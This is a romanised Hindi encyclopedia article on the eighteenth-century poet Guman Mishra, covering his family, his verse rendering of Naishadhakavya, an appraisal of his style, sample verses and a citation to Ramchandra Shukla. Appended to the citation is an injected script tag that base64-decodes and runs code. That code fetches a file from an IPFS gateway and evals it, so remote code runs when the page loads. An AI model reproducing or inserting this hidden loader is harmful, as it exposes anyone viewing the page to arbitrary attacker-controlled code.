गुमान मिश्र
guman mishr mahoba ke rahanevale 'gopalamani' ke putr the. inake tin bhaee aur the -
- dipasahi,
- khuman aur
- aman.
guman ne pihani ke raja akabarali khaan ke ashray mean sanvath 1800 mean shriharsh krit 'naishadhakavy' ka padyanuvad nana chhandoan mean kiya. yahi granth inaka prasiddh hai aur prakashit bhi ho chuka hai. isake atirikt khoj mean inake do granth aur mile haian - 'krishnachandrika' aur 'chhandatavi' (piangal). krishnachandrika ka nirmanakal sanvath 1838 hai. at: inaka kavitakal sanvath 1800 se 1840 tak mana ja sakata hai. in tinoan granthoan ke atirikt ras, nayika bhed, alankar adi kee aur granth sune jate haian.
- kavyasaushthav
yahaan keval inake 'naishadha' ke sanbandh mean hi kuchh kaha ja sakata hai. is granth mean inhoanne bahut se chhandoan ka prayog kiya hai aur bahut jaldi jaldi chhand badale haian. iandravajra, vanshasth, mandakraanta, shardoolavikri dit adi kathin varnavrittoan se lekar doha chaupaee tak maujood haian. grantharanbh mean akabarali khaan ki prashansa mean jo bahut se kavitt inhoanne kahe haian, unase inaki chamatkarapriyata spasht prakat hoti hai. unamean parisankhya alankar ki bharamar hai.
- bhasha
guman ji achchhe sahityamarmajn aur kavyakushal the, isamean koee sandeh nahian. bhasha par bhi inaka poora adhikar tha. jin shlokoan ke bhav jatil nahian haian unaka anuvad bahut hi saras aur suandar hai. vah svatantr rachana ke roop mean pratit hota hai par jahaan kuchh jatilata hai vahaan ki vakyavali ulajhi huee aur arth aspasht hai. bina mool shlok samane ae aise sthanoan ka spasht arth nikalana kathin hi hai. at: sari pustak ke sanbandh mean yahi kahana chahie ki anuvad mean vaisi saphalata nahian huee hai. sanskrit ke bhavoan ke samyakh avataran mean yah asaphalata guman hi ke sir nahian madhi ja sakati. ritikal ke jin jin kaviyoan ne sanskrit se anuvad karane ka prayatn kiya hai unamean bahut se asaphal hue haian. aisa jan p data hai ki is kal mean jis madhur roop mean brajabhasha ka vikas hua vah saral vyanjana ke to bahut hi anukool hua par jatil bhavoan aur vicharoan ke prakash mean vaisa samarth nahian hua. kulapati mishr ne 'rasarahasy' mean 'kavyaprakash' ka jo anuvad kiya hai usamean bhi jagah jagah isi prakar aspashtata hai.
- uttam kavi
guman ji uttam shreni ke kavi the, isamean sandeh nahian. jahaan ve jatil bhav bharane ki ulajhan mean nahian p de haian vahaan ki rachana atyant manoharini huee hai -
durjan ki hani, biradhapanoee karai pir,
gun lop hot ek motin ke har hi.
toote manimalai niragun gayatal likhai,
pothin hi aank, man kalah vicharahi
sankar baran pasu pachchhin mean paiyat,
alak hi parai aansabhang niradhar hi.
chir chir rajau raj ali akabar, suraraj
ke samaj jake raj par barahi
diggaj dabat dabakat digapal bhoori,
dhoori ki dhuandhori soan aandheri abha bhan ki.
dham au dhara ko, mal bal abala ko ari,
tajat paran rah chahat paran ki
saiyad samarth bhoop ali akabar dal,
chalat bajay maroo duandubhi dhukan ki.
phir phir phanani phanis ulatatu aise,
choli kholi dholi jyoan tamoli pake panaki
nhati jahaan sunayana nit bavalimean,
chhoote urojatal kuankum nir hi mean.
shrikhand chitr drig aanjan sang sajai,
manau tribeni nit hi ghar hi birajai
hatak hans chalyo u dikai nabh mean duguni tan jyoti bhee.
lik si khaianchi gayo chhan mean chhaharay rahi chhabi sonamee.
nainan soan nirakhyo n banayakai kai upama man mahian lee.
syamal chir manau pasarayo tehi pai kal kanchan beli nee
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tika tippani aur sandarbh
achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 247-48.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
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